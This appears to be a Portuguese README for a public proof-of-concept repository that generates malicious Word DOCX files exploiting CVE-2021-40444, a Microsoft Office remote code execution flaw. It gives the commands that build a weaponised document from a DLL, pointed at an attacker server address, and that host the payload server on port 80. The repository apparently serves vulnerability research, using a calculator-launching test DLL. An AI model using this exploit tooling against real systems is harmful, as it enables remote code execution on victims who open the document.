lockedbyte/cve-2021-40444Gera documentos DOCX maliciosos que exploram o CVE-2021-40444 (RCE do Microsoft Office) com um servidor hospedado para entrega de payload DLL, baseado em amostras da vida real com engenharia reversa.
Gerador de docx malicioso para explorar CVE-2021-40444 (Execução Remota de Código no Microsoft Office Word)
A criação deste script é baseada em engenharia reversa sobre a amostra utilizada na natureza: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (arquivo docx)
Você precisa instalar o lcab primeiro (sudo apt-get install lcab)
Consulte REPRODUCE.md para etapas de reprodução manual
Se o seu cab gerado não estiver funcionando, tente apontar a URL do exploit.html para calc.cab
Primeiro, gere um documento docx malicioso a partir de uma DLL. Você pode usar a que está em test/calc.dll, que simplesmente abre um calc.exe através de uma chamada a system()
python3 exploit.py generate test/calc.dll http://<SRV IP>
Depois de gerar o docx malicioso (estará em out/), você pode configurar o servidor:
sudo python3 exploit.py host 80
Finalmente, teste o docx em uma Máquina Virtual Windows:
